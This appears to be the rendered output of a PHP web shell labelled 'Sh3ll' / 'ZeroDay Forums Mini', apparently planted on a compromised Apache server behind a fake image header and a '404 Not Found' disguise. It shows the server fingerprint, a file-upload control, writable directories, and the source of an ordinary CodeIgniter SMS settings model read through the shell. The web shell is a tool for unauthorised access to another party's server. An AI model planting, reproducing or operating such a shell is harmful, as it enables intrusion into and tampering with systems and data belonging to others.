����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/dashboard/models/Sms_setting_model.php
<?php defined('BASEPATH') OR exit('No direct script access allowed');

class Sms_setting_model extends CI_model {


	//get template list
	public function template_list(){
		return $data = $this->db->select('*')
		->from('sms_template')
		->get()
		->result();
	}

	public function save_sms_template($data){
		$result = $this->db->insert('sms_template',$data);
		return $result;
	}
//update template
	public function template_update($data){
		$id = $this->input->post('id',TRUE);
		$result=$this->db->where('id',$id)->update('sms_template',$data);
		return $result;
	}


	public function update_sms_config($data)
	{
		$id = $this->input->post('id',TRUE);
		if($id){
			$this->db->where('id',$id);
            $result = $this->db->update('sms_configuration',$data);

			$this->db->set('status',0)
            ->where('id !=', $id)
            ->update('sms_configuration');
			return $result;
		}else{
			$result = $this->db->insert('sms_configuration',$data);
			return $result;
		}

	}   


} 	 

ZeroDay Forums Mini